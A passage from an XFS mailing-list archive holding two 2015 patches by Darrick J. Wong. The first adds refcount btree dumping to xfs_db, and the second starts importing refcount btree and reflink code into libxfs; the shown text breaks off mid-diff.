MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194570 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add the ability to walk and dump the refcount btree in xfs_db. Signed-off-by: Darrick J. Wong --- db/agf.c | 10 ++++++++-- db/btblock.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ db/btblock.h | 5 +++++ db/field.c | 9 +++++++++ db/field.h | 4 ++++ db/inode.c | 3 +++ db/sb.c | 2 ++ db/type.c | 3 +++ db/type.h | 2 +- man/man8/xfs_db.8 | 45 ++++++++++++++++++++++++++++++++++++++++++++- 10 files changed, 129 insertions(+), 4 deletions(-) diff --git a/db/agf.c b/db/agf.c index f4c4269..86d8929 100644 --- a/db/agf.c +++ b/db/agf.c @@ -47,7 +47,7 @@ const field_t agf_flds[] = { { "versionnum", FLDT_UINT32D, OI(OFF(versionnum)), C1, 0, TYP_NONE }, { "seqno", FLDT_AGNUMBER, OI(OFF(seqno)), C1, 0, TYP_NONE }, { "length", FLDT_AGBLOCK, OI(OFF(length)), C1, 0, TYP_NONE }, - { "roots", FLDT_AGBLOCK, OI(OFF(roots)), CI(XFS_BTNUM_AGF), + { "roots", FLDT_AGBLOCK, OI(OFF(roots)), CI(XFS_BTNUM_AGF) + 1, FLD_ARRAY|FLD_SKIPALL, TYP_NONE }, { "bnoroot", FLDT_AGBLOCK, OI(OFF(roots) + XFS_BTNUM_BNO * SZ(roots[XFS_BTNUM_BNO])), C1, 0, @@ -58,7 +58,10 @@ const field_t agf_flds[] = { { "rmaproot", FLDT_AGBLOCKNZ, OI(OFF(roots) + XFS_BTNUM_RMAP * SZ(roots[XFS_BTNUM_RMAP])), C1, 0, TYP_RMAPBT }, - { "levels", FLDT_UINT32D, OI(OFF(levels)), CI(XFS_BTNUM_AGF), + { "refcntroot", FLDT_AGBLOCKNZ, + OI(OFF(refcount_root)), C1, 0, + TYP_REFCBT }, + { "levels", FLDT_UINT32D, OI(OFF(levels)), CI(XFS_BTNUM_AGF) + 1, FLD_ARRAY|FLD_SKIPALL, TYP_NONE }, { "bnolevel", FLDT_UINT32D, OI(OFF(levels) + XFS_BTNUM_BNO * SZ(levels[XFS_BTNUM_BNO])), C1, 0, @@ -69,6 +72,9 @@ const field_t agf_flds[] = { { "rmaplevel", FLDT_UINT32D, OI(OFF(levels) + XFS_BTNUM_RMAP * SZ(levels[XFS_BTNUM_RMAP])), C1, 0, TYP_NONE }, + { "refcntlevel", FLDT_UINT32D, + OI(OFF(refcount_level)), C1, 0, + TYP_NONE }, { "flfirst", FLDT_UINT32D, OI(OFF(flfirst)), C1, 0, TYP_NONE }, { "fllast", FLDT_UINT32D, OI(OFF(fllast)), C1, 0, TYP_NONE }, { "flcount", FLDT_UINT32D, OI(OFF(flcount)), C1, 0, TYP_NONE }, diff --git a/db/btblock.c b/db/btblock.c index 430d84f..bdf07b1 100644 --- a/db/btblock.c +++ b/db/btblock.c @@ -102,6 +102,12 @@ struct xfs_db_btree { sizeof(struct xfs_rmap_rec), sizeof(__be32), }, + { XFS_REFC_CRC_MAGIC, + XFS_BTREE_SBLOCK_CRC_LEN, + sizeof(struct xfs_refcount_key), + sizeof(struct xfs_refcount_rec), + sizeof(__be32), + }, { 0, }, }; @@ -675,3 +681,47 @@ const field_t rmapbt_rec_flds[] = { { NULL } }; #undef ROFF + +/* refcount btree blocks */ +const field_t refcbt_crc_hfld[] = { + { "", FLDT_REFCBT_CRC, OI(0), C1, 0, TYP_NONE }, + { NULL } +}; + +#define OFF(f) bitize(offsetof(struct xfs_btree_block, bb_ ## f)) +const field_t refcbt_crc_flds[] = { + { "magic", FLDT_UINT32X, OI(OFF(magic)), C1, 0, TYP_NONE }, + { "level", FLDT_UINT16D, OI(OFF(level)), C1, 0, TYP_NONE }, + { "numrecs", FLDT_UINT16D, OI(OFF(numrecs)), C1, 0, TYP_NONE }, + { "leftsib", FLDT_AGBLOCK, OI(OFF(u.s.bb_leftsib)), C1, 0, TYP_REFCBT }, + { "rightsib", FLDT_AGBLOCK, OI(OFF(u.s.bb_rightsib)), C1, 0, TYP_REFCBT }, + { "bno", FLDT_DFSBNO, OI(OFF(u.s.bb_blkno)), C1, 0, TYP_REFCBT }, + { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, + { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, + { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "recs", FLDT_REFCBTREC, btblock_rec_offset, btblock_rec_count, + FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, + { "keys", FLDT_REFCBTKEY, btblock_key_offset, btblock_key_count, + FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, + { "ptrs", FLDT_REFCBTPTR, btblock_ptr_offset, btblock_key_count, + FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_REFCBT }, + { NULL } +}; +#undef OFF + +#define KOFF(f) bitize(offsetof(struct xfs_refcount_key, rc_ ## f)) +const field_t refcbt_key_flds[] = { + { "startblock", FLDT_AGBLOCK, OI(KOFF(startblock)), C1, 0, TYP_DATA }, + { NULL } +}; +#undef KOFF + +#define ROFF(f) bitize(offsetof(struct xfs_refcount_rec, rc_ ## f)) +const field_t refcbt_rec_flds[] = { + { "startblock", FLDT_AGBLOCK, OI(ROFF(startblock)), C1, 0, TYP_DATA }, + { "blockcount", FLDT_EXTLEN, OI(ROFF(blockcount)), C1, 0, TYP_NONE }, + { "refcount", FLDT_UINT32D, OI(ROFF(refcount)), C1, 0, TYP_DATA }, + { NULL } +}; +#undef ROFF diff --git a/db/btblock.h b/db/btblock.h index 35299b4..fead2f1 100644 --- a/db/btblock.h +++ b/db/btblock.h @@ -59,4 +59,9 @@ extern const struct field rmapbt_crc_hfld[]; extern const struct field rmapbt_key_flds[]; extern const struct field rmapbt_rec_flds[]; +extern const struct field refcbt_crc_flds[]; +extern const struct field refcbt_crc_hfld[]; +extern const struct field refcbt_key_flds[]; +extern const struct field refcbt_rec_flds[]; + extern int btblock_size(void *obj, int startoff, int idx); diff --git a/db/field.c b/db/field.c index 850cedb..9257e4f 100644 --- a/db/field.c +++ b/db/field.c @@ -183,6 +183,15 @@ const ftattr_t ftattrtab[] = { { FLDT_RMAPBTREC, "rmapbtrec", fp_sarray, (char *)rmapbt_rec_flds, SI(bitsz(struct xfs_rmap_rec)), 0, NULL, rmapbt_rec_flds }, + { FLDT_REFCBT_CRC, "refcntbt", NULL, (char *)refcbt_crc_flds, btblock_size, + FTARG_SIZE, NULL, refcbt_crc_flds }, + { FLDT_REFCBTKEY, "refcntbtkey", fp_sarray, (char *)refcbt_key_flds, + SI(bitsz(struct xfs_refcount_key)), 0, NULL, refcbt_key_flds }, + { FLDT_REFCBTPTR, "refcntbtptr", fp_num, "%u", SI(bitsz(xfs_refcount_ptr_t)), + 0, fa_agblock, NULL }, + { FLDT_REFCBTREC, "refcntbtrec", fp_sarray, (char *)refcbt_rec_flds, + SI(bitsz(struct xfs_refcount_rec)), 0, NULL, refcbt_rec_flds }, + /* CRC field */ { FLDT_CRC, "crc", fp_crc, "%#x (%s)", SI(bitsz(__uint32_t)), 0, NULL, NULL }, diff --git a/db/field.h b/db/field.h index 47f562a..ae5f490 100644 --- a/db/field.h +++ b/db/field.h @@ -89,6 +89,10 @@ typedef enum fldt { FLDT_RMAPBTKEY, FLDT_RMAPBTPTR, FLDT_RMAPBTREC, + FLDT_REFCBT_CRC, + FLDT_REFCBTKEY, + FLDT_REFCBTPTR, + FLDT_REFCBTREC, /* CRC field type */ FLDT_CRC, diff --git a/db/inode.c b/db/inode.c index 64b263b..4f0794a 100644 --- a/db/inode.c +++ b/db/inode.c @@ -175,6 +175,9 @@ const field_t inode_v3_flds[] = { { "crtime", FLDT_TIMESTAMP, OI(COFF(crtime)), C1, 0, TYP_NONE }, { "inumber", FLDT_INO, OI(COFF(ino)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(COFF(uuid)), C1, 0, TYP_NONE }, + { "reflink", FLDT_UINT1, + OI(COFF(flags2) + bitsz(__uint64_t) - XFS_DIFLAG2_REFLINK_BIT-1), C1, + 0, TYP_NONE }, { NULL } }; diff --git a/db/sb.c b/db/sb.c index 598e787..af1725e 100644 --- a/db/sb.c +++ b/db/sb.c @@ -682,6 +682,8 @@ version_string( strcat(s, ",SPARSE_INODES"); if (xfs_sb_version_hasmetauuid(sbp)) strcat(s, ",META_UUID"); + if (xfs_sb_version_hasreflink(sbp)) + strcat(s, ",REFLINK"); return s; } diff --git a/db/type.c b/db/type.c index 8793258..197140a 100644 --- a/db/type.c +++ b/db/type.c @@ -59,6 +59,7 @@ static const typ_t __typtab[] = { { TYP_BNOBT, "bnobt", handle_struct, bnobt_hfld, NULL }, { TYP_CNTBT, "cntbt", handle_struct, cntbt_hfld, NULL }, { TYP_RMAPBT, NULL }, + { TYP_REFCBT, NULL }, { TYP_DATA, "data", handle_block, NULL, NULL }, { TYP_DIR2, "dir2", handle_struct, dir2_hfld, NULL }, { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, NULL }, @@ -91,6 +92,8 @@ static const typ_t __typtab_crc[] = { &xfs_allocbt_buf_ops }, { TYP_RMAPBT, "rmapbt", handle_struct, rmapbt_crc_hfld, &xfs_rmapbt_buf_ops }, + { TYP_REFCBT, "refcntbt", handle_struct, refcbt_crc_hfld, + &xfs_refcountbt_buf_ops }, { TYP_DATA, "data", handle_block, NULL, NULL }, { TYP_DIR2, "dir3", handle_struct, dir3_hfld, &xfs_dir3_db_buf_ops }, diff --git a/db/type.h b/db/type.h index 1bef8e6..998f755 100644 --- a/db/type.h +++ b/db/type.h @@ -24,7 +24,7 @@ struct field; typedef enum typnm { TYP_AGF, TYP_AGFL, TYP_AGI, TYP_ATTR, TYP_BMAPBTA, - TYP_BMAPBTD, TYP_BNOBT, TYP_CNTBT, TYP_RMAPBT, TYP_DATA, + TYP_BMAPBTD, TYP_BNOBT, TYP_CNTBT, TYP_RMAPBT, TYP_REFCBT, TYP_DATA, TYP_DIR2, TYP_DQBLK, TYP_INOBT, TYP_INODATA, TYP_INODE, TYP_LOG, TYP_RTBITMAP, TYP_RTSUMMARY, TYP_SB, TYP_SYMLINK, TYP_TEXT, TYP_FINOBT, TYP_NONE diff --git a/man/man8/xfs_db.8 b/man/man8/xfs_db.8 index 681efc4..8f3b7b0 100644 --- a/man/man8/xfs_db.8 +++ b/man/man8/xfs_db.8 @@ -673,7 +673,7 @@ If no argument is given, show the current data type. The possible data types are: .BR agf ", " agfl ", " agi ", " attr ", " bmapbta ", " bmapbtd , .BR bnobt ", " cntbt ", " data ", " dir ", " dir2 ", " dqblk , -.BR inobt ", " inode ", " log ", " rtbitmap ", " rtsummary , +.BR inobt ", " inode ", " log ", " refcntbt ", " rtbitmap ", " rtsummary , .BR sb ", " symlink " and " text . See the TYPES section below for more information on these data types. .TP @@ -1658,6 +1658,49 @@ use .BR xfs_logprint (8) instead. .TP +.B refcntbt +There is one set of filesystem blocks forming the reference count Btree for +each allocation group. The root block of this Btree is designated by the +.B refcntroot +field in the corresponding AGF block. The blocks are linked to sibling left +and right blocks at each level, as well as by pointers from parent to child +blocks. Each block has the following fields: +.RS 1.4i +.PD 0 +.TP 1.2i +.B magic +REFC block magic number, 0x52334643 ('R3FC'). +.TP +.B level +level number of this block, 0 is a leaf. +.TP +.B numrecs +number of data entries in the block. +.TP +.B leftsib +left (logically lower) sibling block, 0 if none. +.TP +.B rightsib +right (logically higher) sibling block, 0 if none. +.TP +.B recs +[leaf blocks only] array of reference count records. Each record contains +.B startblock , +.B blockcount , +and +.BR refcount . +.TP +.B keys +[non-leaf blocks only] array of key records. These are the first value +of each block in the level below this one. Each record contains +.B startblock . +.TP +.B ptrs +[non-leaf blocks only] array of child block pointers. Each pointer is a +block number within the allocation group to the next level in the Btree. +.PD +.RE +.TP .B rtbitmap If the filesystem has a realtime subvolume, then the .B rbmino From darrick.wong@oracle.com Wed Oct 7 00:09:34 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C462529ED8 for ; Wed, 7 Oct 2015 00:09:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12D82AC005 for ; Tue, 6 Oct 2015 22:09:33 -0700 (PDT) X-ASG-Debug-ID: 1444194564-04cbb03f150dab0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id bgB5Aj8brfGs9mDs (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:24 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759NrD017583 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:23 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9759NE4010774 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:23 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9759MS9023108; Wed, 7 Oct 2015 05:09:22 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:21 -0700 Subject: [PATCH 38/51] libxfs: add support for refcount btrees From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 38/51] libxfs: add support for refcount btrees To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:20 -0700 Message-ID: <20151007050920.1504.38788.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194564 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.10 X-Barracuda-Spam-Status: No, SCORE=1.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA081, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.10 BSF_SC0_SA081 Custom Rule SA081 Import definitions and refcount btree code from the kernel. Signed-off-by: Darrick J. Wong --- include/libxfs.h | 2 include/linux.h | 1 include/xfs_inode.h | 5 include/xfs_mount.h | 3 include/xfs_trace.h | 26 + libxfs/Makefile | 4 libxfs/xfs_alloc.c | 18 + libxfs/xfs_bmap.c | 80 +++- libxfs/xfs_bmap.h | 9 libxfs/xfs_btree.c | 8 libxfs/xfs_btree.h | 7 libxfs/xfs_format.h | 71 +++ libxfs/xfs_fs.h | 1 libxfs/xfs_refcount.c | 980 +++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_refcount.h | 41 ++ libxfs/xfs_refcount_btree.c | 375 ++++++++++++++++ libxfs/xfs_refcount_btree.h | 65 +++ libxfs/xfs_sb.c | 9 libxfs/xfs_shared.h | 2 libxfs/xfs_types.h | 2 20 files changed, 1699 insertions(+), 10 deletions(-) create mode 100644 libxfs/xfs_refcount.c create mode 100644 libxfs/xfs_refcount.h create mode 100644 libxfs/xfs_refcount_btree.c create mode 100644 libxfs/xfs_refcount_btree.h diff --git a/include/libxfs.h b/include/libxfs.h index 9c85a49..8f3d0d1 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -78,6 +78,8 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include "xfs_trace.h" #include "xfs_trans.h" #include "xfs_rmap_btree.h" +#include "xfs_refcount.h" +#include "xfs_refcount_btree.h" #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) diff --git a/include/linux.h b/include/linux.h index 8804c2d..97fff5b 100644 --- a/include/linux.h +++ b/include/linux.h @@ -144,5 +144,6 @@ typedef loff_t xfs_off_t; typedef __uint64_t xfs_ino_t; typedef __uint32_t xfs_dev_t; typedef __int64_t xfs_daddr_t; +typedef __uint32_t xfs_nlink_t; #endif /* __XFS_LINUX_H__ */ diff --git a/include/xfs_inode.h b/include/xfs_inode.h index 71c0fb4..238edfd 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -81,6 +81,11 @@ xfs_set_projid(struct xfs_icdinode *id, prid_t projid) id->di_projid_lo = (__uint16_t) (projid & 0xffff); } +static inline bool xfs_is_reflink_inode(struct xfs_inode *ip) +{ + return ip->i_d.di_flags2 & XFS_DIFLAG2_REFLINK; +} + typedef struct cred { uid_t cr_uid; gid_t cr_gid; diff --git a/include/xfs_mount.h b/include/xfs_mount.h index 5410168..8d20d69 100644 --- a/include/xfs_mount.h +++ b/include/xfs_mount.h @@ -66,6 +66,8 @@ typedef struct xfs_mount { uint m_inobt_mnr[2]; /* XFS_INOBT_BLOCK_MINRECS */ uint m_rmap_mxr[2]; /* max rmap btree records */ uint m_rmap_mnr[2]; /* min rmap btree records */ + uint m_refc_mxr[2]; /* max refc btree records */ + uint m_refc_mnr[2]; /* min refc btree records */ uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* XFS_IN_MAXLEVELS */ @@ -134,6 +136,7 @@ typedef struct xfs_perag { xfs_agino_t pagl_leftrec; xfs_agino_t pagl_rightrec; int pagb_count; /* pagb slots in use */ + __uint8_t pagf_refcount_level; } xfs_perag_t; #define LIBXFS_MOUNT_DEBUGGER 0x0001 diff --git a/include/xfs_trace.h b/include/xfs_trace.h index 2c8d34e..f5403d3 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -190,4 +190,30 @@ #define trace_xfs_rmap_lcombine(a...) ((void) 0) #define trace_xfs_rmap_rcombine(a...) ((void) 0) +#define trace_xfs_refcountbt_lookup(a...) ((void)0) +#define trace_xfs_refcountbt_get(a...) ((void)0) +#define trace_xfs_refcountbt_update(a...) ((void)0) +#define trace_xfs_refcountbt_insert(a...) ((void)0) +#define trace_xfs_refcountbt_delete(a...) ((void)0) +#define trace_xfs_refcount_split_left_extent(a...) ((void)0) +#define trace_xfs_refcount_split_left_extent_error(a...) ((void)0) +#define trace_xfs_refcount_split_right_extent(a...) ((void)0) +#define trace_xfs_refcount_split_right_extent_error(a...) ((void)0) +#define trace_xfs_refcount_merge_center_extents_error(a...) ((void)0) +#define trace_xfs_refcount_merge_left_extent_error(a...) ((void)0) +#define trace_xfs_refcount_merge_right_extent_error(a...) ((void)0) +#define trace_xfs_refcount_find_left_extent(a...) ((void)0) +#define trace_xfs_refcount_find_left_extent_error(a...) ((void)0) +#define trace_xfs_refcount_find_right_extent(a...) ((void)0) +#define trace_xfs_refcount_find_right_extent_error(a...) ((void)0) +#define trace_xfs_refcount_merge_center_extents(a...) ((void)0) +#define trace_xfs_refcount_merge_left_extent(a...) ((void)0) +#define trace_xfs_refcount_merge_right_extent(a...) ((void)0) +#define trace_xfs_refcount_modify_extent(a...) ((void)0) +#define trace_xfs_refcount_modify_extent_error(a...) ((void)0) +#define trace_xfs_refcount_adjust_error(a...) ((void)0) +#define trace_xfs_refcount_increase(a...) ((void)0) +#define trace_xfs_refcount_decrease(a...) ((void)0) +#define trace_xfs_reflink_relink_blocks(a...) ((void)0) + #endif /* __TRACE_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 3255917..1badcc7 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -36,6 +36,8 @@ HFILES = \ xfs_inode_fork.h \ xfs_quota_defs.h \ xfs_rmap_btree.h \ + xfs_refcount.h \ + xfs_refcount_btree.h \ xfs_sb.h \ xfs_shared.h \ xfs_trans_resv.h \ @@ -80,6 +82,8 @@ CFILES = cache.c \ xfs_inode_fork.c \ xfs_ialloc_btree.c \ xfs_log_rlimit.c \ + xfs_refcount.c \ + xfs_refcount_btree.c \ xfs_rtbitmap.c \ xfs_rmap.c \ xfs_rmap_btree.c \ diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index d7f8302..fa76511 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -46,10 +46,23 @@ STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +unsigned int +xfs_refc_block( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + return XFS_RMAP_BLOCK(mp) + 1; + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + return XFS_FIBT_BLOCK(mp) + 1; + return XFS_IBT_BLOCK(mp) + 1; +} + xfs_extlen_t xfs_prealloc_blocks( struct xfs_mount *mp) { + if (xfs_sb_version_hasreflink(&mp->m_sb)) + return xfs_refc_block(mp) + 1; if (xfs_sb_version_hasrmapbt(&mp->m_sb)) return XFS_RMAP_BLOCK(mp) + 1; if (xfs_sb_version_hasfinobt(&mp->m_sb)) @@ -2402,6 +2415,10 @@ xfs_agf_verify( be32_to_cpu(agf->agf_btreeblks) > be32_to_cpu(agf->agf_length)) return false; + if (xfs_sb_version_hasreflink(&mp->m_sb) && + be32_to_cpu(agf->agf_refcount_level) > XFS_BTREE_MAXLEVELS) + return false; + return true;; } @@ -2521,6 +2538,7 @@ xfs_alloc_read_agf( be32_to_cpu(agf->agf_levels[XFS_BTNUM_CNTi]); pag->pagf_levels[XFS_BTNUM_RMAPi] = be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAPi]); + pag->pagf_refcount_level = be32_to_cpu(agf->agf_refcount_level); spin_lock_init(&pag->pagb_lock); pag->pagb_count = 0; /* XXX: pagb_tree doesn't exist in userspace */ diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 14934eb..8b9a563 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -37,6 +37,7 @@ #include "xfs_trace.h" #include "xfs_attr_leaf.h" #include "xfs_quota_defs.h" +#include "xfs_refcount.h" #include "xfs_rmap_btree.h" @@ -3994,6 +3995,56 @@ xfs_bmap_btalloc( } /* + * For a remap operation, just "allocate" an extent at the address that the + * caller passed in, and ensure that the AGFL is the right size. The caller + * will then map the "allocated" extent into the file somewhere. + */ +static int +xfs_bmap_remap( + struct xfs_bmalloca *ap) +{ + struct xfs_trans *tp = ap->tp; + struct xfs_mount *mp = tp->t_mountp; + xfs_agblock_t bno; + struct xfs_alloc_arg args; + int error; + + /* + * validate that the block number is legal - the enables us to detect + * and handle a silent filesystem corruption rather than crashing. + */ + memset(&args, 0, sizeof(struct xfs_alloc_arg)); + args.tp = ap->tp; + args.mp = ap->tp->t_mountp; + bno = *ap->firstblock; + args.agno = XFS_FSB_TO_AGNO(mp, bno); + if (args.agno >= mp->m_sb.sb_agcount) + return -EFSCORRUPTED; + + args.agbno = XFS_FSB_TO_AGBNO(mp, bno); + if (args.agbno >= mp->m_sb.sb_agblocks) + return -EFSCORRUPTED; + + /* "Allocate" the extent from the range we passed in. */ + trace_xfs_reflink_relink_blocks(ap->ip, *ap->firstblock, + ap->length); + ap->blkno = bno; + ap->ip->i_d.di_nblocks += ap->length; + xfs_trans_log_inode(ap->tp, ap->ip, XFS_ILOG_CORE); + + /* Fix the freelist, like a real allocator does. */ + + args.pag = xfs_perag_get(args.mp, args.agno); + ASSERT(args.pag); + + error = xfs_alloc_fix_freelist(&args, XFS_ALLOC_FLAG_FREEING); + if (error) + goto error0; +error0: + xfs_perag_put(args.pag); + return error; +} +/* * xfs_bmap_alloc is called by xfs_bmapi to allocate an extent for a file. * It figures out where to ask the underlying allocator to put the new extent. */ @@ -4001,6 +4052,8 @@ STATIC int xfs_bmap_alloc( struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { + if (ap->flags & XFS_BMAPI_REMAP) + return xfs_bmap_remap(ap); if (XFS_IS_REALTIME_INODE(ap->ip) && ap->userdata) return xfs_bmap_rtalloc(ap); return xfs_bmap_btalloc(ap); @@ -4684,6 +4737,12 @@ xfs_bmapi_write( ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + if (whichfork == XFS_ATTR_FORK) + ASSERT(!(flags & XFS_BMAPI_REMAP)); + if (flags & XFS_BMAPI_REMAP) { + ASSERT(!(flags & XFS_BMAPI_PREALLOC)); + ASSERT(!(flags & XFS_BMAPI_CONVERT)); + } if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -4733,6 +4792,12 @@ xfs_bmapi_write( wasdelay = !inhole && isnullstartblock(bma.got.br_startblock); /* + * Make sure we only reflink into a hole. + */ + if (flags & XFS_BMAPI_REMAP) + ASSERT(inhole); + + /* * First, deal with the hole before the allocated space * that we found, if any. */ @@ -5173,9 +5238,18 @@ xfs_bmap_del_extent( /* * If we need to, add to list of extents to delete. */ - if (do_fx) - xfs_bmap_add_free(mp, flist, del->br_startblock, - del->br_blockcount, NULL); + if (do_fx) { + if (xfs_is_reflink_inode(ip)) { + error = xfs_refcount_put_extent(mp, tp, flist, + del->br_startblock, + del->br_blockcount, NULL); + if (error) + goto done; + } else + xfs_bmap_add_free(mp, flist, del->br_startblock, + del->br_blockcount, NULL); + } + /* * Adjust inode # blocks in the file. */ diff --git a/libxfs/xfs_bmap.h b/libxfs/xfs_bmap.h index da73d59..64d8743 100644 --- a/libxfs/xfs_bmap.h +++ b/libxfs/xfs_bmap.h @@ -110,6 +110,12 @@ typedef struct xfs_bmap_free * from written to unwritten, otherwise convert from unwritten to written. */ #define XFS_BMAPI_CONVERT 0x040 +/* + * Map the inode offset to the block given in ap->firstblock. Primarily + * used for reflink. The range must be in a hole, and this flag cannot be + * turned on with PREALLOC or CONVERT, and cannot be used on the attr fork. + */ +#define XFS_BMAPI_REMAP 0x100 #define XFS_BMAPI_FLAGS \ { XFS_BMAPI_ENTIRE, "ENTIRE" }, \ @@ -118,7 +124,8 @@ typedef struct xfs_bmap_free { XFS_BMAPI_PREALLOC, "PREALLOC" }, \ { XFS_BMAPI_IGSTATE, "IGSTATE" }, \ { XFS_BMAPI_CONTIG, "CONTIG" }, \ - { XFS_BMAPI_CONVERT, "CONVERT" } + { XFS_BMAPI_CONVERT, "CONVERT" }, \ + { XFS_BMAPI_REMAP, "REMAP" } static inline int xfs_bmapi_aflag(int w) diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index 000267a..b8f8281 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -41,9 +41,10 @@ kmem_zone_t *xfs_btree_cur_zone; */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, 0, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, - XFS_FIBT_MAGIC }, + XFS_FIBT_MAGIC, 0 }, { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, XFS_RMAP_CRC_MAGIC, - XFS_BMAP_CRC_MAGIC, 